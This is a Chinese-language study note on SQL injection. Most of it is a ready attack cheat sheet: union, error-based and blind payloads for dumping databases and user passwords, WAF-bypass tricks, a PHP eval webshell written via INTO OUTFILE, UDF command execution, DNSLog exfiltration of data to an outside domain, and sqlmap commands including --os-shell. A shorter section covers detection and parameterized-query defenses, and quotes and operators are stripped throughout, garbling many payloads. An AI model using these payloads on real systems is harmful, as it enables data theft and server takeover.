SQL注入专项笔记

张开发
2026/6/11 11:54:08 15 分钟阅读
SQL注入专项笔记
一、核心原理SQL注入本质攻击者通过构造恶意输入使Web应用未过滤/转义的特殊字符改变原始SQL语句的逻辑结构从而执行非预期的数据库操作。根本原因用户输入被当作SQL代码执行而非单纯的数据。-- 原始查询危险 SELECT * FROM users WHERE username $input AND password $pwd; -- 输入 admin -- 后 SELECT * FROM users WHERE username admin -- AND password xxx; -- 注释掉密码检查绕过认证二、注入分类2.1 按数据传输方式类型说明特点GET型参数在URL中易被日志记录常出现在搜索、筛选POST型参数在请求体需抓包或表单提交登录框常见Cookie型参数在Cookie需修改Cookie记住我功能HTTP头型User-Agent/X-Forwarded-For等隐蔽常被忽视2.2 按注入点数据类型类型闭合特征示例数字型无需引号id1→id1 and 11字符型需闭合单引号nametom→nametom or 11搜索型通配符%like %key%→% or 11 -- %2.3 按结果获取方式类型适用场景核心技巧联合查询页面有显式回显union select 1,2,3报错注入数据库错误回显extractvalue(),updatexml(),floor()布尔盲注页面有真/假状态and ascii(substr(database(),1,1))100时间盲注无任何回显and sleep(5)/benchmark()堆叠查询支持多语句; drop table users; --三、手工注入标准流程3.1 信息收集阶段-- 1. 判断注入点 报错 → 字符型 报错 → 双引号型 and 11 正常 and 12 异常 → 存在注入 -- 2. 确认列数union前后列数必须相等 order by 1 -- order by 2 -- order by 3 -- 直到报错/异常 -- 3. 找到回显位 union select 1,2,3,4 -- 观察哪个数字出现在页面 -- 4. 获取数据库信息 union select user(),database(),version() -- union select datadir,version_compile_os,current_user() --3.2 数据提取阶段-- 获取所有数据库名information_schema是MySQL元数据库 union select schema_name from information_schema.schemata -- -- 获取当前数据库的表 union select table_name from information_schema.tables where table_schemadatabase() -- -- 获取表的列 union select column_name from information_schema.columns where table_nameusers -- -- 脱取数据 union select username,password from users --3.3 进阶利用-- 读取文件需要secure_file_priv不为NULL union select load_file(/etc/passwd) -- -- 写入Webshell union select ?php eval($_POST[cmd]);? into outfile /var/www/html/shell.php -- -- 执行系统命令需UDF提权 select sys_exec(id); select sys_eval(whoami);四、常见闭合方式-- 原始SQL伪代码 $sql SELECT * FROM users WHERE username . $input . ; -- 注入payload示例 admin -- (注释后续) admin # (MySQL注释) admin or 11 (恒真) admin or 11 -- admin) or (11 (括号闭合) admin or 11 (双引号闭合) admin or 11 and aa五、各类数据库特性5.1 注释符数据库单行注释多行注释MySQL--后面有空格或#/* */Oracle--/* */SQL Server--/* */PostgreSQL--/* */⚠️注意MySQL的--后面必须跟空格或换行URL编码为--被解析为空格5.2 字符串拼接数据库拼接方式示例MySQLCONCAT()CONCAT(a,b,c)Oracle||或CONCAT()a||b||cSQL ServerabcPostgreSQL||a||b5.3 版本/数据库/用户获取信息MySQLOracleSQL Server版本version(),versionSELECT banner FROM v$versionversion当前库database()SELECT sys_context(userenv,db_name) FROM dualdb_name()当前用户user(),current_user()SELECT user FROM dualuser_name(),suser_name()系统用户system_user()SELECT sys_context(userenv,os_user)suser_sname()5.4 默认系统表数据库系统表/视图MySQLinformation_schema(MySQL 5.0)Oracleall_tables,user_tables,all_tab_columnsSQL Serversysobjects,syscolumns,information_schema.tablesPostgreSQLpg_catalog.pg_tables,information_schema.columns5.5 报错注入函数MySQL-- 常用报错函数5.5版本 and extractvalue(1,concat(0x7e,database(),0x7e)) -- and updatexml(1,concat(0x7e,database(),0x7e),1) -- and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) -- -- 其他报错方式 and geometrycollection((select * from(select * from(select user())a)b)) -- and multipoint((select * from(select * from(select user())a)b)) --六、盲注技术6.1 布尔盲注二分法加速-- 判断数据库长度 and length(database())5 -- and length(database())8 -- -- 逐字符获取ASCII and ascii(substr(database(),1,1))100 -- and ascii(substr(database(),1,1))115 -- -- 批量获取使用CASE WHEN and (select case when (ascii(substr(database(),1,1))100) then 1 else 0 end) -- -- 完整payload示例获取第一个表名首字符 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))64 --6.2 时间盲注无回显时使用-- MySQL and if(ascii(substr(database(),1,1))100, sleep(3), 0) -- and case when (ascii(substr(database(),1,1))100) then sleep(3) else 0 end -- and (select case when (ascii(substr(database(),1,1))100) then sleep(3) else 0 end) -- -- PostgreSQL and case when (ascii(substr(current_database(),1,1))100) then pg_sleep(3) else 0 end -- -- SQL Server if (ascii(substring(db_name(),1,1))100) waitfor delay 0:0:3 --七、WAF绕过技巧7.1 大小写/编码绕过-- 大小写混写 UnIoN SeLeCt 1,2,3 -- URL双重编码%25是%的编码 %2527 (最终解析为单引号) %2553%2545%254C%2545%2543%2554 (SELECT) -- Unicode编码部分WAF %u0027 (单引号) %u0053%u0045%u004C (SEL) -- Hex编码 select * from users where username 0x61646D696E (admin) -- 注释混淆 /*!50000union*/ select 1,2,3 (MySQL特殊注释50000表示版本号) /*!union*//*!select*/7.2 等价替换-- 空格替换 /**/ -- 多行注释 %09 -- TAB %0a -- 换行 %0b -- 垂直制表 %0c -- 换页 %0d -- 回车 %a0 -- 不间断空格 -- 等号替换 11 → 1 like 1, 12, 10 and 01, 1 in (1) -- AND/OR替换 and → (URL编码为%26%26) or → || (URL编码为%7c%7c) -- 函数替换 substr() → substring() → mid() ascii() → hex() → bin() sleep() → benchmark() (MySQL) -- 逗号绕过盲注常用 limit 0,1 → limit 1 offset 0 substr(abc,1,1) → substr(abc from 1 for 1) -- 引号绕过字符串无引号 admin → 0x61646D696E (十六进制)7.3 垃圾数据混淆-- 插入无效参数 ?id1id1 union select 1,2,3 -- -- 添加注释填充 id1/**/union/**/select/**/1,2,3/**/-- -- 括号嵌套 id1)) union select 1,2,3 from users where ((117.4 分块传输绕过POST请求POST /login.php HTTP/1.1 Transfer-Encoding: chunked 5 id1 16 union select 1,2,3 -- 07.5 特殊技巧-- 宽字节注入GBK编码 %df%27 → 運 %df和%27组合成宽字符单引号逃逸 -- 二次注入存储后触发 注册时写入admin -- 登录时触发update users set roleadmin where usernameadmin -- -- DNSLog外带数据盲注无回显 and load_file(concat(\\\\,(select database()),.xxx.dnslog.cn\\abc)) -- -- 错误诱导诱导WAF误判 id1/*id*/union/*id*/select/*id*/1,2,3八、检测与防御8.1 检测方法黑盒测试参数后加、、)等看是否报错添加and 11和and 12对比页面差异时间延迟测试 and sleep(5)--白盒审计关键函数搜索// PHP危险函数 $_GET[key] / $_POST[key] / $_REQUEST[key] $_COOKIE[key] / $_SERVER[HTTP_*] 直接拼接字符串到SQL语句中# Python危险模式 cursor.execute(SELECT * FROM users WHERE id user_input) cursor.execute(fSELECT * FROM users WHERE name {name})// Java危险模式Statement而非PreparedStatement Statement stmt conn.createStatement(); stmt.executeQuery(SELECT * FROM users WHERE id id);8.2 防御措施首要防御参数化查询预编译// PHP PDO $stmt $pdo-prepare(SELECT * FROM users WHERE username ?); $stmt-execute([$username]); // PHP mysqli $stmt $conn-prepare(SELECT * FROM users WHERE id ?); $stmt-bind_param(i, $id);# Python cursor.execute(SELECT * FROM users WHERE username %s, (username,))// Java PreparedStatement ps conn.prepareStatement(SELECT * FROM users WHERE id ?); ps.setInt(1, id);输入过滤深度防御白名单校验数字型is_numeric()枚举值限制可选范围转义特殊字符addslashes()、mysqli_real_escape_string()禁用危险字符 ; -- /* */ %数据库层配置最小权限原则应用账号仅拥有必要表的SELECT/INSERT权限关闭错误回显生产环境禁用display_errors限制secure_file_privMySQL使用数据库防火墙/IDSWAF规则拦截union.select、sleep\(、benchmark\(拦截information_schema访问拦截敏感函数load_file、into outfile九、实战速查表目的MySQL Payload检测注入 and 11-- and 12--列数探测 order by 10--获取版本 union select version--获取数据库 union select database()--获取所有库 union select group_concat(schema_name) from information_schema.schemata--获取表名 union select group_concat(table_name) from information_schema.tables where table_schemadatabase()--获取列名 union select group_concat(column_name) from information_schema.columns where table_nameusers--获取数据 union select group_concat(username,0x3a,password) from users--文件读取 union select load_file(/etc/passwd)--写Webshell union select ?php eval($_POST[1]);? into outfile /var/www/shell.php--布尔盲注 and ascii(substr(database(),1,1))100--时间盲注 and if(ascii(substr(database(),1,1))100,sleep(3),0)--报错注入 and extractvalue(1,concat(0x7e,database()))--DNS外带 and load_file(concat(\\\\,(select database()),.dnslog.cn\\abc))--十、常用工具SQLMap自动化注入工具sqlmap -u http://target.com?id1 --dbs sqlmap -u http://target.com?id1 -D dbname --tables sqlmap -r request.txt --level 3 --risk 2 sqlmap -u http://target.com?id1 --os-shell

更多文章